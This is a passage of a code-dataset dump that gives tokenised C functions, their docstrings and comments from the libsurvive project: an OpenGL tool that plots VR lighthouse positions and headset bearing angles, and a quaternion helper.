"houseL",
".",
"qreal",
")",
";",
"LoadLighthousePos",
"(",
"\"",
"\"",
",",
"&",
"houseR",
".",
"x",
",",
"&",
"houseR",
".",
"y",
",",
"&",
"houseR",
".",
"z",
",",
"&",
"houseR",
".",
"qi",
",",
"&",
"houseR",
".",
"qj",
",",
"&",
"houseR",
".",
"qk",
",",
"&",
"houseR",
".",
"qreal",
")",
";",
"printf",
"(",
"\"",
"\\n",
"\"",
",",
"houseL",
".",
"x",
",",
"houseL",
".",
"y",
",",
"houseL",
".",
"z",
",",
"houseL",
".",
"qi",
",",
"houseL",
".",
"qj",
",",
"houseL",
".",
"qk",
",",
"houseL",
".",
"qreal",
")",
";",
"printf",
"(",
"\"",
"\\n",
"\"",
",",
"houseR",
".",
"x",
",",
"houseR",
".",
"y",
",",
"houseR",
".",
"z",
",",
"houseR",
".",
"qi",
",",
"houseR",
".",
"qj",
",",
"houseR",
".",
"qk",
",",
"houseR",
".",
"qreal",
")",
";",
"memset",
"(",
"read_hmdAngleViewed",
",",
"0",
",",
"NUM_HMD",
"*",
"NUM_SWEEP",
"*",
"sizeof",
"(",
"int",
")",
")",
";",
"read_mutex",
"=",
"OGCreateMutex",
"(",
")",
";",
"for",
"(",
"i",
"=",
"0",
";",
"i",
"<",
"NUM_HMD",
";",
"i",
"++",
")",
"{",
"for",
"(",
"j",
"=",
"0",
";",
"j",
"<",
"4",
";",
"j",
"++",
")",
"{",
"read_hmdAngles",
"[",
"j",
"]",
"[",
"i",
"]",
"=",
"-9999.0",
";",
"}",
"}",
"read_thread",
"=",
"OGCreateThread",
"(",
"ThreadReadHmtAngles",
",",
"NULL",
")",
";",
"for",
"(",
"i",
"=",
"0",
";",
"i",
"<",
"NUM_HMD",
";",
"i",
"++",
")",
"{",
"if",
"(",
"hmdAngles",
"[",
"0",
"]",
"[",
"i",
"]",
"!=",
"-9999.0",
"&&",
"hmdAngles",
"[",
"1",
"]",
"[",
"i",
"]",
"!=",
"-9999.0",
"&&",
"hmdAngles",
"[",
"2",
"]",
"[",
"i",
"]",
"!=",
"-9999.0",
"&&",
"hmdAngles",
"[",
"3",
"]",
"[",
"i",
"]",
"!=",
"-9999.0",
")",
"{",
"printf",
"(",
"\"",
"\\n",
"\"",
",",
"i",
",",
"(",
"180.0",
"/",
"PI",
")",
"*",
"hmdAngles",
"[",
"SWEEP_LX",
"]",
"[",
"i",
"]",
",",
"(",
"180.0",
"/",
"PI",
")",
"*",
"hmdAngles",
"[",
"SWEEP_LY",
"]",
"[",
"i",
"]",
",",
"(",
"180.0",
"/",
"PI",
")",
"*",
"hmdAngles",
"[",
"SWEEP_RX",
"]",
"[",
"i",
"]",
",",
"(",
"180.0",
"/",
"PI",
")",
"*",
"hmdAngles",
"[",
"SWEEP_RY",
"]",
"[",
"i",
"]",
")",
";",
"}",
"}",
"glShadeModel",
"(",
"GL_SMOOTH",
")",
";",
"glClearColor",
"(",
"0.6f",
",",
"0.8f",
",",
"1.0f",
",",
"0.5f",
")",
";",
"glClearDepth",
"(",
"1.0f",
")",
";",
"glEnable",
"(",
"GL_DEPTH_TEST",
")",
";",
"glDepthFunc",
"(",
"GL_LEQUAL",
")",
";",
"glEnable",
"(",
"GL_COLOR_MATERIAL",
")",
";",
"glDisable",
"(",
"GL_CULL_FACE",
")",
";",
"glHint",
"(",
"GL_PERSPECTIVE_CORRECTION_HINT",
",",
"GL_NICEST",
")",
";",
"}"
] | init() is called at program startup | [
"init",
"()",
"is",
"called",
"at",
"program",
"startup"
] | [
"//void quatrotatevector( FLT * vec3out, const FLT * quat, const FLT * vec3in );",
"// Load the lighthouses",
"/*\n\t// Load the bearing angles\n\tLoadHmdProcessedDataAngles(\"processed_data.txt\", hmdAngles);\n*/",
"// Spawn the thread to read the hmt angles",
"// Initialize OpenGL",
"// Enable Smooth Shading",
"// Black Background",
"// Depth Buffer Setup",
"// Enables Depth Testing",
"// The Type Of Depth Testing To Do"
] | [] | {
"returns": [],
"raises": [],
"params": [],
"outlier_params": [],
"others": []
} |
4a64c284a896df30986ad141b63dc5fe9cb085af | constructiverealities/libsurvive | tools/plot_lighthouse/main.c | [
"MIT"
] | C | draw | void | void draw()
{
int i,j;
//------------------------
// Check for keyboard input
//------------------------
if (keys['w'] || keys['W']) {
posz += MOVESPEED;
}
if (keys['s'] || keys['S']) {
posz -= MOVESPEED;
}
if (keys['a'] || keys['A']) {
roty += ROTSPEED;
}
if (keys['d'] || keys['D']) {
roty -= ROTSPEED;
}
if (keys[27]) {
exit(0);
}
//------------------------
// Update the scene
//------------------------
//------------------------
// Draw using OpenGL
//------------------------
// Clear the screen
glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); // Clear Screen And Depth Buffer
// Translate and rotate the camera
glLoadIdentity(); // Reset The Current Modelview Matrix
glTranslatef(-posx,-posy,posz); // Move Left 1.5 Units And Into The
glRotatef(-rotx, 1.0f, 0.0f, 0.0f);
glRotatef(-roty+90.0, 0.0f, 1.0f, 0.0f);
glRotatef(-rotz, 0.0f, 0.0f, 1.0f);
glScalef(1.0, 1.0, -1.0);
// printf("rot: %f %f %f pos: %f %f %f\n", rotx, roty, rotz, posx, posy, posz);
//-----------------
// Draw the grid
//-----------------
// glPointSize(1.0);
// glColor3f(0.5, 0.5, 0.5);
// DrawGrid(-GRID_SIZE, GRID_SIZE, -GRID_SIZE, GRID_SIZE, -GRID_SIZE, GRID_SIZE,
// GRID_MINOR_STEP, GRID_MINOR_STEP, GRID_MINOR_STEP);
glLineWidth(1.0);
glPointSize(4.0);
glColor3f(0.0, 0.0, 0.0);
DrawGrid(-GRID_SIZE, GRID_SIZE, -GRID_SIZE, GRID_SIZE, -GRID_SIZE, GRID_SIZE,
GRID_MAJOR_STEP, GRID_MAJOR_STEP, GRID_MAJOR_STEP);
//-----------------
// Plot the lighthouses
//-----------------
glLineWidth(2.0);
// Left lighthouse coordinate system
DrawCoordinateSystem(
houseL.x, houseL.y, houseL.z,
houseL.qi, houseL.qj, houseL.qk, houseL.qreal);
// Rightt lighthouse coordinate system
DrawCoordinateSystem(
houseR.x, houseR.y, houseR.z,
houseR.qi, houseR.qj, houseR.qk, houseR.qreal);
glPointSize(15.0);
glBegin(GL_POINTS);
// Left house in red
glColor3f(1,0,0);
glVertex3f(houseL.x, houseL.z, houseL.y);
// Green is the origin (hmd)
glColor3f(0,1,0);
glVertex3f(0,0,0);
// Right house in blue
glColor3f(0,0,1);
glVertex3f(houseR.x, houseR.z, houseR.y);
glEnd();
//-------------------
// Draw the bearing angles
//-------------------
// Read the hmd angles
OGLockMutex(read_mutex);
for (i=0; i<4; i++) {
for (j=0; j<NUM_HMD; j++) {
hmdAngles[i][j] = read_hmdAngles[i][j];
}
}
OGUnlockMutex(read_mutex);
// Draw the hmd bearing angles
glBegin(GL_LINES);
for (i=0; i<NUM_HMD; i++) {
const double dist=10.0;
// If the left lighthouse sees it
if (read_hmdAngleViewed[SWEEP_LX][i] >= read_frameno-6 &&
read_hmdAngleViewed[SWEEP_LY][i] >= read_frameno-6 &&
hmdAngles[SWEEP_LX][i]!=-9999.0 && hmdAngles[SWEEP_LY][i]!=-9999.0)
{
// Get the hmd bearings
double Ldx,Ldy,Ldz;
HmdDir(hmdAngles[SWEEP_LX][i], hmdAngles[SWEEP_LY][i], &Ldx, &Ldy, &Ldz);
// Rotate the bearings by the lighthouse orientation
FLT L0[3],L[3],Lq[4];
L0[0]=Ldx; L0[1]=Ldy; L0[2]=Ldz;
Lq[0]=houseL.qreal; Lq[1]=houseL.qi; Lq[2]=houseL.qj; Lq[3]=houseL.qk;
quatrotatevector(L, Lq, L0);
// Plot the lines
glVertex3f(houseL.x, houseL.z, houseL.y);
glVertex3f(houseL.x+dist*L[0], houseL.z+dist*L[2], houseL.y+dist*L[1]);
}
// If the left lighthouse sees it
if (read_hmdAngleViewed[SWEEP_RX][i] >= read_frameno-6 &&
read_hmdAngleViewed[SWEEP_RY][i] >= read_frameno-6 &&
hmdAngles[SWEEP_RX][i]!=-9999.0 && hmdAngles[SWEEP_RY][i]!=-9999.0)
{
// Get the hmd bearings
double Rdx,Rdy,Rdz;
HmdDir(hmdAngles[SWEEP_RX][i], hmdAngles[SWEEP_RY][i], &Rdx, &Rdy, &Rdz);
// Rotate the bearings by the lighthouse orientation
FLT R0[3],R[3],Rq[4];
R0[0]=Rdx; R0[1]=Rdy; R0[2]=Rdz;
Rq[0]=houseR.qreal; Rq[1]=houseR.qi; Rq[2]=houseR.qj; Rq[3]=houseR.qk;
quatrotatevector(R, Rq, R0);
// Plot the lines
glVertex3f(houseR.x, houseR.z, houseR.y);
glVertex3f(houseR.x+dist*R[0], houseR.z+dist*R[2], houseR.y+dist*R[1]);
}
}
glEnd();
read_frameno++;
//
// Draw the Terrain
//
glutSwapBuffers ( ); // Swap The Buffers To Not Be Left With A Clear Screen
} | /*
* draw() is called once every frame
*/ | draw() is called once every frame | [
"draw",
"()",
"is",
"called",
"once",
"every",
"frame"
] | void draw()
{
int i,j;
if (keys['w'] || keys['W']) {
posz += MOVESPEED;
}
if (keys['s'] || keys['S']) {
posz -= MOVESPEED;
}
if (keys['a'] || keys['A']) {
roty += ROTSPEED;
}
if (keys['d'] || keys['D']) {
roty -= ROTSPEED;
}
if (keys[27]) {
exit(0);
}
glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
glLoadIdentity();
glTranslatef(-posx,-posy,posz);
glRotatef(-rotx, 1.0f, 0.0f, 0.0f);
glRotatef(-roty+90.0, 0.0f, 1.0f, 0.0f);
glRotatef(-rotz, 0.0f, 0.0f, 1.0f);
glScalef(1.0, 1.0, -1.0);
glLineWidth(1.0);
glPointSize(4.0);
glColor3f(0.0, 0.0, 0.0);
DrawGrid(-GRID_SIZE, GRID_SIZE, -GRID_SIZE, GRID_SIZE, -GRID_SIZE, GRID_SIZE,
GRID_MAJOR_STEP, GRID_MAJOR_STEP, GRID_MAJOR_STEP);
glLineWidth(2.0);
DrawCoordinateSystem(
houseL.x, houseL.y, houseL.z,
houseL.qi, houseL.qj, houseL.qk, houseL.qreal);
DrawCoordinateSystem(
houseR.x, houseR.y, houseR.z,
houseR.qi, houseR.qj, houseR.qk, houseR.qreal);
glPointSize(15.0);
glBegin(GL_POINTS);
glColor3f(1,0,0);
glVertex3f(houseL.x, houseL.z, houseL.y);
glColor3f(0,1,0);
glVertex3f(0,0,0);
glColor3f(0,0,1);
glVertex3f(houseR.x, houseR.z, houseR.y);
glEnd();
--
--
OGLockMutex(read_mutex);
for (i=0; i<4; i++) {
for (j=0; j<NUM_HMD; j++) {
hmdAngles[i][j] = read_hmdAngles[i][j];
}
}
OGUnlockMutex(read_mutex);
glBegin(GL_LINES);
for (i=0; i<NUM_HMD; i++) {
const double dist=10.0;
if (read_hmdAngleViewed[SWEEP_LX][i] >= read_frameno-6 &&
read_hmdAngleViewed[SWEEP_LY][i] >= read_frameno-6 &&
hmdAngles[SWEEP_LX][i]!=-9999.0 && hmdAngles[SWEEP_LY][i]!=-9999.0)
{
double Ldx,Ldy,Ldz;
HmdDir(hmdAngles[SWEEP_LX][i], hmdAngles[SWEEP_LY][i], &Ldx, &Ldy, &Ldz);
FLT L0[3],L[3],Lq[4];
L0[0]=Ldx; L0[1]=Ldy; L0[2]=Ldz;
Lq[0]=houseL.qreal; Lq[1]=houseL.qi; Lq[2]=houseL.qj; Lq[3]=houseL.qk;
quatrotatevector(L, Lq, L0);
glVertex3f(houseL.x, houseL.z, houseL.y);
glVertex3f(houseL.x+dist*L[0], houseL.z+dist*L[2], houseL.y+dist*L[1]);
}
if (read_hmdAngleViewed[SWEEP_RX][i] >= read_frameno-6 &&
read_hmdAngleViewed[SWEEP_RY][i] >= read_frameno-6 &&
hmdAngles[SWEEP_RX][i]!=-9999.0 && hmdAngles[SWEEP_RY][i]!=-9999.0)
{
double Rdx,Rdy,Rdz;
HmdDir(hmdAngles[SWEEP_RX][i], hmdAngles[SWEEP_RY][i], &Rdx, &Rdy, &Rdz);
FLT R0[3],R[3],Rq[4];
R0[0]=Rdx; R0[1]=Rdy; R0[2]=Rdz;
Rq[0]=houseR.qreal; Rq[1]=houseR.qi; Rq[2]=houseR.qj; Rq[3]=houseR.qk;
quatrotatevector(R, Rq, R0);
glVertex3f(houseR.x, houseR.z, houseR.y);
glVertex3f(houseR.x+dist*R[0], houseR.z+dist*R[2], houseR.y+dist*R[1]);
}
}
glEnd();
read_frameno++;
Draw the Terrain
glutSwapBuffers ( ); Swap The Buffers To Not Be Left With A Clear Screen
} | [
"void",
"draw",
"(",
")",
"{",
"int",
"i",
",",
"j",
";",
"if",
"(",
"keys",
"[",
"'",
"'",
"]",
"||",
"keys",
"[",
"'",
"'",
"]",
")",
"{",
"posz",
"+=",
"MOVESPEED",
";",
"}",
"if",
"(",
"keys",
"[",
"'",
"'",
"]",
"||",
"keys",
"[",
"'",
"'",
"]",
")",
"{",
"posz",
"-=",
"MOVESPEED",
";",
"}",
"if",
"(",
"keys",
"[",
"'",
"'",
"]",
"||",
"keys",
"[",
"'",
"'",
"]",
")",
"{",
"roty",
"+=",
"ROTSPEED",
";",
"}",
"if",
"(",
"keys",
"[",
"'",
"'",
"]",
"||",
"keys",
"[",
"'",
"'",
"]",
")",
"{",
"roty",
"-=",
"ROTSPEED",
";",
"}",
"if",
"(",
"keys",
"[",
"27",
"]",
")",
"{",
"exit",
"(",
"0",
")",
";",
"}",
"glClear",
"(",
"GL_COLOR_BUFFER_BIT",
"|",
"GL_DEPTH_BUFFER_BIT",
")",
";",
"glLoadIdentity",
"(",
")",
";",
"glTranslatef",
"(",
"-",
"posx",
",",
"-",
"posy",
",",
"posz",
")",
";",
"glRotatef",
"(",
"-",
"rotx",
",",
"1.0f",
",",
"0.0f",
",",
"0.0f",
")",
";",
"glRotatef",
"(",
"-",
"roty",
"+",
"90.0",
",",
"0.0f",
",",
"1.0f",
",",
"0.0f",
")",
";",
"glRotatef",
"(",
"-",
"rotz",
",",
"0.0f",
",",
"0.0f",
",",
"1.0f",
")",
";",
"glScalef",
"(",
"1.0",
",",
"1.0",
",",
"-1.0",
")",
";",
"glLineWidth",
"(",
"1.0",
")",
";",
"glPointSize",
"(",
"4.0",
")",
";",
"glColor3f",
"(",
"0.0",
",",
"0.0",
",",
"0.0",
")",
";",
"DrawGrid",
"(",
"-",
"GRID_SIZE",
",",
"GRID_SIZE",
",",
"-",
"GRID_SIZE",
",",
"GRID_SIZE",
",",
"-",
"GRID_SIZE",
",",
"GRID_SIZE",
",",
"GRID_MAJOR_STEP",
",",
"GRID_MAJOR_STEP",
",",
"GRID_MAJOR_STEP",
")",
";",
"glLineWidth",
"(",
"2.0",
")",
";",
"DrawCoordinateSystem",
"(",
"houseL",
".",
"x",
",",
"houseL",
".",
"y",
",",
"houseL",
".",
"z",
",",
"houseL",
".",
"qi",
",",
"houseL",
".",
"qj",
",",
"houseL",
".",
"qk",
",",
"houseL",
".",
"qreal",
")",
";",
"DrawCoordinateSystem",
"(",
"houseR",
".",
"x",
",",
"houseR",
".",
"y",
",",
"houseR",
".",
"z",
",",
"houseR",
".",
"qi",
",",
"houseR",
".",
"qj",
",",
"houseR",
".",
"qk",
",",
"houseR",
".",
"qreal",
")",
";",
"glPointSize",
"(",
"15.0",
")",
";",
"glBegin",
"(",
"GL_POINTS",
")",
";",
"glColor3f",
"(",
"1",
",",
"0",
",",
"0",
")",
";",
"glVertex3f",
"(",
"houseL",
".",
"x",
",",
"houseL",
".",
"z",
",",
"houseL",
".",
"y",
")",
";",
"glColor3f",
"(",
"0",
",",
"1",
",",
"0",
")",
";",
"glVertex3f",
"(",
"0",
",",
"0",
",",
"0",
")",
";",
"glColor3f",
"(",
"0",
",",
"0",
",",
"1",
")",
";",
"glVertex3f",
"(",
"houseR",
".",
"x",
",",
"houseR",
".",
"z",
",",
"houseR",
".",
"y",
")",
";",
"glEnd",
"(",
")",
";",
"OGLockMutex",
"(",
"read_mutex",
")",
";",
"for",
"(",
"i",
"=",
"0",
";",
"i",
"<",
"4",
";",
"i",
"++",
")",
"{",
"for",
"(",
"j",
"=",
"0",
";",
"j",
"<",
"NUM_HMD",
";",
"j",
"++",
")",
"{",
"hmdAngles",
"[",
"i",
"]",
"[",
"j",
"]",
"=",
"read_hmdAngles",
"[",
"i",
"]",
"[",
"j",
"]",
";",
"}",
"}",
"OGUnlockMutex",
"(",
"read_mutex",
")",
";",
"glBegin",
"(",
"GL_LINES",
")",
";",
"for",
"(",
"i",
"=",
"0",
";",
"i",
"<",
"NUM_HMD",
";",
"i",
"++",
")",
"{",
"const",
"double",
"dist",
"=",
"10.0",
";",
"if",
"(",
"read_hmdAngleViewed",
"[",
"SWEEP_LX",
"]",
"[",
"i",
"]",
">=",
"read_frameno",
"-",
"6",
"&&",
"read_hmdAngleViewed",
"[",
"SWEEP_LY",
"]",
"[",
"i",
"]",
">=",
"read_frameno",
"-",
"6",
"&&",
"hmdAngles",
"[",
"SWEEP_LX",
"]",
"[",
"i",
"]",
"!=",
"-9999.0",
"&&",
"hmdAngles",
"[",
"SWEEP_LY",
"]",
"[",
"i",
"]",
"!=",
"-9999.0",
")",
"{",
"double",
"Ldx",
",",
"Ldy",
",",
"Ldz",
";",
"HmdDir",
"(",
"hmdAngles",
"[",
"SWEEP_LX",
"]",
"[",
"i",
"]",
",",
"hmdAngles",
"[",
"SWEEP_LY",
"]",
"[",
"i",
"]",
",",
"&",
"Ldx",
",",
"&",
"Ldy",
",",
"&",
"Ldz",
")",
";",
"FLT",
"L0",
"[",
"3",
"]",
",",
"L",
"[",
"3",
"]",
",",
"Lq",
"[",
"4",
"]",
";",
"L0",
"[",
"0",
"]",
"=",
"Ldx",
";",
"L0",
"[",
"1",
"]",
"=",
"Ldy",
";",
"L0",
"[",
"2",
"]",
"=",
"Ldz",
";",
"Lq",
"[",
"0",
"]",
"=",
"houseL",
".",
"qreal",
";",
"Lq",
"[",
"1",
"]",
"=",
"houseL",
".",
"qi",
";",
"Lq",
"[",
"2",
"]",
"=",
"houseL",
".",
"qj",
";",
"Lq",
"[",
"3",
"]",
"=",
"houseL",
".",
"qk",
";",
"quatrotatevector",
"(",
"L",
",",
"Lq",
",",
"L0",
")",
";",
"glVertex3f",
"(",
"houseL",
".",
"x",
",",
"houseL",
".",
"z",
",",
"houseL",
".",
"y",
")",
";",
"glVertex3f",
"(",
"houseL",
".",
"x",
"+",
"dist",
"*",
"L",
"[",
"0",
"]",
",",
"houseL",
".",
"z",
"+",
"dist",
"*",
"L",
"[",
"2",
"]",
",",
"houseL",
".",
"y",
"+",
"dist",
"*",
"L",
"[",
"1",
"]",
")",
";",
"}",
"if",
"(",
"read_hmdAngleViewed",
"[",
"SWEEP_RX",
"]",
"[",
"i",
"]",
">=",
"read_frameno",
"-",
"6",
"&&",
"read_hmdAngleViewed",
"[",
"SWEEP_RY",
"]",
"[",
"i",
"]",
">=",
"read_frameno",
"-",
"6",
"&&",
"hmdAngles",
"[",
"SWEEP_RX",
"]",
"[",
"i",
"]",
"!=",
"-9999.0",
"&&",
"hmdAngles",
"[",
"SWEEP_RY",
"]",
"[",
"i",
"]",
"!=",
"-9999.0",
")",
"{",
"double",
"Rdx",
",",
"Rdy",
",",
"Rdz",
";",
"HmdDir",
"(",
"hmdAngles",
"[",
"SWEEP_RX",
"]",
"[",
"i",
"]",
",",
"hmdAngles",
"[",
"SWEEP_RY",
"]",
"[",
"i",
"]",
",",
"&",
"Rdx",
",",
"&",
"Rdy",
",",
"&",
"Rdz",
")",
";",
"FLT",
"R0",
"[",
"3",
"]",
",",
"R",
"[",
"3",
"]",
",",
"Rq",
"[",
"4",
"]",
";",
"R0",
"[",
"0",
"]",
"=",
"Rdx",
";",
"R0",
"[",
"1",
"]",
"=",
"Rdy",
";",
"R0",
"[",
"2",
"]",
"=",
"Rdz",
";",
"Rq",
"[",
"0",
"]",
"=",
"houseR",
".",
"qreal",
";",
"Rq",
"[",
"1",
"]",
"=",
"houseR",
".",
"qi",
";",
"Rq",
"[",
"2",
"]",
"=",
"houseR",
".",
"qj",
";",
"Rq",
"[",
"3",
"]",
"=",
"houseR",
".",
"qk",
";",
"quatrotatevector",
"(",
"R",
",",
"Rq",
",",
"R0",
")",
";",
"glVertex3f",
"(",
"houseR",
".",
"x",
",",
"houseR",
".",
"z",
",",
"houseR",
".",
"y",
")",
";",
"glVertex3f",
"(",
"houseR",
".",
"x",
"+",
"dist",
"*",
"R",
"[",
"0",
"]",
",",
"houseR",
".",
"z",
"+",
"dist",
"*",
"R",
"[",
"2",
"]",
",",
"houseR",
".",
"y",
"+",
"dist",
"*",
"R",
"[",
"1",
"]",
")",
";",
"}",
"}",
"glEnd",
"(",
")",
";",
"read_frameno",
"++",
";",
"glutSwapBuffers",
"(",
")",
";",
"}"
] | draw() is called once every frame | [
"draw",
"()",
"is",
"called",
"once",
"every",
"frame"
] | [
"//------------------------",
"// Check for keyboard input",
"//------------------------",
"//------------------------",
"// Update the scene",
"//------------------------",
"//------------------------",
"// Draw using OpenGL",
"//------------------------",
"// Clear the screen",
"// Clear Screen And Depth Buffer",
"// Translate and rotate the camera",
"// Reset The Current Modelview Matrix",
"// Move Left 1.5 Units And Into The ",
"// printf(\"rot: %f %f %f pos: %f %f %f\\n\", rotx, roty, rotz, posx, posy, posz);",
"//----------------- ",
"// Draw the grid",
"//-----------------",
"// glPointSize(1.0);",
"// glColor3f(0.5, 0.5, 0.5);",
"// DrawGrid(-GRID_SIZE, GRID_SIZE, -GRID_SIZE, GRID_SIZE, -GRID_SIZE, GRID_SIZE, ",
"//\tGRID_MINOR_STEP, GRID_MINOR_STEP, GRID_MINOR_STEP);",
"//-----------------",
"// Plot the lighthouses",
"//-----------------",
"// Left lighthouse coordinate system",
"// Rightt lighthouse coordinate system",
"// Left house in red",
"// Green is the origin (hmd)",
"// Right house in blue",
"//-------------------",
"// Draw the bearing angles",
"//-------------------",
"// Read the hmd angles",
"// Draw the hmd bearing angles",
"// If the left lighthouse sees it",
"// Get the hmd bearings",
"// Rotate the bearings by the lighthouse orientation",
"// Plot the lines",
"// If the left lighthouse sees it",
"// Get the hmd bearings",
"// Rotate the bearings by the lighthouse orientation",
"// Plot the lines",
"//",
"// Draw the Terrain",
"//",
"// Swap The Buffers To Not Be Left With A Clear Screen"
] | [] | {
"returns": [],
"raises": [],
"params": [],
"outlier_params": [],
"others": []
} |
4a64c284a896df30986ad141b63dc5fe9cb085af | constructiverealities/libsurvive | tools/plot_lighthouse/main.c | [
"MIT"
] | C | resize | void | void resize(int width, int height) // Resize And Initialize The GL Window
{
glViewport(0,0,width,height); // Reset The Current Viewport
glMatrixMode(GL_PROJECTION); // Select The Projection Matrix
glLoadIdentity(); // Reset The Projection Matrix
// Uncomment For a 3D perspective
gluPerspective(45.0f,(float)width/(float)height,0.1f,1000.0f);
// Uncomment for a 2D perspective
//glOrtho(0.0, WIDTH, 0.0, HEIGHT, -10.0, 10.0);
glMatrixMode(GL_MODELVIEW); // Select The Modelview Matrix
glLoadIdentity(); // Reset The Modelview Matrix
} | /*
* resize() is called when we change the screen size
*/ | resize() is called when we change the screen size | [
"resize",
"()",
"is",
"called",
"when",
"we",
"change",
"the",
"screen",
"size"
] | void resize(int width, int height)
{
glViewport(0,0,width,height);
glMatrixMode(GL_PROJECTION);
glLoadIdentity();
gluPerspective(45.0f,(float)width/(float)height,0.1f,1000.0f);
glMatrixMode(GL_MODELVIEW);
glLoadIdentity();
} | [
"void",
"resize",
"(",
"int",
"width",
",",
"int",
"height",
")",
"{",
"glViewport",
"(",
"0",
",",
"0",
",",
"width",
",",
"height",
")",
";",
"glMatrixMode",
"(",
"GL_PROJECTION",
")",
";",
"glLoadIdentity",
"(",
")",
";",
"gluPerspective",
"(",
"45.0f",
",",
"(",
"float",
")",
"width",
"/",
"(",
"float",
")",
"height",
",",
"0.1f",
",",
"1000.0f",
")",
";",
"glMatrixMode",
"(",
"GL_MODELVIEW",
")",
";",
"glLoadIdentity",
"(",
")",
";",
"}"
] | resize() is called when we change the screen size | [
"resize",
"()",
"is",
"called",
"when",
"we",
"change",
"the",
"screen",
"size"
] | [
"// Resize And Initialize The GL Window",
"// Reset The Current Viewport",
"// Select The Projection Matrix",
"// Reset The Projection Matrix",
"// Uncomment For a 3D perspective",
"// Uncomment for a 2D perspective",
"//glOrtho(0.0, WIDTH, 0.0, HEIGHT, -10.0, 10.0);",
"// Select The Modelview Matrix",
"// Reset The Modelview Matrix"
] | [
{
"param": "width",
"type": "int"
},
{
"param": "height",
"type": "int"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "width",
"type": "int",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "height",
"type": "int",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
17dcc96cec23dff3abe69f0e03b361e820dee2ed | constructiverealities/libsurvive | redist/mymath.c | [
"MIT"
] | C | quatfrom2vectors | void | void quatfrom2vectors(FLT *q, const FLT *src, const FLT *dest)
{
// Based on Stan Melax's article in Game Programming Gems
// Copy, since cannot modify local
FLT v0[3];
FLT v1[3];
normalize3d(v0, src);
normalize3d(v1, dest);
FLT d = dot3d(v0, v1);// v0.dotProduct(v1);
// If dot == 1, vectors are the same
if (d >= 1.0f)
{
quatsetnone(q);
return;
}
if (d < (1e-6f - 1.0f))
{
// Generate an axis
FLT unitX[3] = { 1, 0, 0 };
FLT unitY[3] = { 0, 1, 0 };
FLT axis[3];
cross3d(axis, unitX, src); // pick an angle
if ((axis[0] < 1.0e-35f) &&
(axis[1] < 1.0e-35f) &&
(axis[2] < 1.0e-35f)) // pick another if colinear
{
cross3d(axis, unitY, src);
}
normalize3d(axis, axis);
quatfromaxisangle(q, axis, LINMATHPI);
}
else
{
FLT s = FLT_SQRT((1 + d) * 2);
FLT invs = 1 / s;
FLT c[3];
//cross3d(c, v0, v1);
cross3d(c, v1, v0);
q[0] = c[0] * invs;
q[1] = c[1] * invs;
q[2] = c[2] * invs;
q[3] = s * 0.5f;
quatnormalize(q, q);
}
} | /** Gets the shortest arc quaternion to rotate this vector to the destination
vector.
@remarks
If you call this with a dest vector that is close to the inverse
of this vector, we will rotate 180 degrees around a generated axis if
since in this case ANY axis of rotation is valid.
*/ | Gets the shortest arc quaternion to rotate this vector to the destination
vector. | [
"Gets",
"the",
"shortest",
"arc",
"quaternion",
"to",
"rotate",
"this",
"vector",
"to",
"the",
"destination",
"vector",
"."
] | void quatfrom2vectors(FLT *q, const FLT *src, const FLT *dest)
{
FLT v0[3];
FLT v1[3];
normalize3d(v0, src);
normalize3d(v1, dest);
FLT d = dot3d(v0, v1);
if (d >= 1.0f)
{
quatsetnone(q);
return;
}
if (d < (1e-6f - 1.0f))
{
FLT unitX[3] = { 1, 0, 0 };
FLT unitY[3] = { 0, 1, 0 };
FLT axis[3];
cross3d(axis, unitX, src);
if ((axis[0] < 1.0e-35f) &&
(axis[1] < 1.0e-35f) &&
(axis[2] < 1.0e-35f))
{
cross3d(axis, unitY, src);
}
normalize3d(axis, axis);
quatfromaxisangle(q, axis, LINMATHPI);
}
else
{
FLT s = FLT_SQRT((1 + d) * 2);
FLT invs = 1 / s;
FLT c[3];
cross3d(c, v1, v0);
q[0] = c[0] * invs;
q[1] = c[1] * invs;
q[2] = c[2] * invs;
q[3] = s * 0.5f;
quatnormalize(q, q);
}
} | [
"void",
"quatfrom2vectors",
"(",
"FLT",
"*",
"q",
",",
"const",
"FLT",
"*",
"src",
",",
"const",
"FLT",
"*",
"dest",
")",
"{",
"FLT",
"v0",
"[",
"3",
"]",
";",
"FLT",
"v1",
"[",
"3",
"]",
";",
"normalize3d",
"(",
"v0",
",",
"src",
")",
";",
"normalize3d",
"(",
"v1",
",",
"dest",
")",
";",
"FLT",
"d",
"=",
"dot3d",
"(",
"v0",
",",
"v1",
")",
";",
"if",
"(",
"d",
">=",
"1.0f",
")",
"{",
"quatsetnone",
"(",
"q",
")",
";",
"return",
";",
"}",
"if",
"(",
"d",
"<",
"(",
"1e-6f",
"-",
"1.0f",
")",
")",
"{",
"FLT",
"unitX",
"[",
"3",
"]",
"=",
"{",
"1",
",",
"0",
",",
"0",
"}",
";",
"FLT",
"unitY",
"[",
"3",
"]",
"=",
"{",
"0",
",",
"1",
",",
"0",
"}",
";",
"FLT",
"axis",
"[",
"3",
"]",
";",
"cross3d",
"(",
"axis",
",",
"unitX",
",",
"src",
")",
";",
"if",
"(",
"(",
"axis",
"[",
"0",
"]",
"<",
"1.0e-35f",
")",
"&&",
"(",
"axis",
"[",
"1",
"]",
"<",
"1.0e-35f",
")",
"&&",
"(",
"axis",
"[",
"2",
"]",
"<",
"1.0e-35f",
")",
")",
"{",
"cross3d",
"(",
"axis",
",",
"unitY",
",",
"src",
")",
";",
"}",
"normalize3d",
"(",
"axis",
",",
"axis",
")",
";",
"quatfromaxisangle",
"(",
"q",
",",
"axis",
",",
"LINMATHPI",
")",
";",
"}",
"else",
"{",
"FLT",
"s",
"=",
"FLT_SQRT",
"(",
"(",
"1",
"+",
"d",
")",
"*",
"2",
")",
";",
"FLT",
"invs",
"=",
"1",
"/",
"s",
";",
"FLT",
"c",
"[",
"3",
"]",
";",
"cross3d",
"(",
"c",
",",
"v1",
",",
"v0",
")",
";",
"q",
"[",
"0",
"]",
"=",
"c",
"[",
"0",
"]",
"*",
"invs",
";",
"q",
"[",
"1",
"]",
"=",
"c",
"[",
"1",
"]",
"*",
"invs",
";",
"q",
"[",
"2",
"]",
"=",
"c",
"[",
"2",
"]",
"*",
"invs",
";",
"q",
"[",
"3",
"]",
"=",
"s",
"*",
"0.5f",
";",
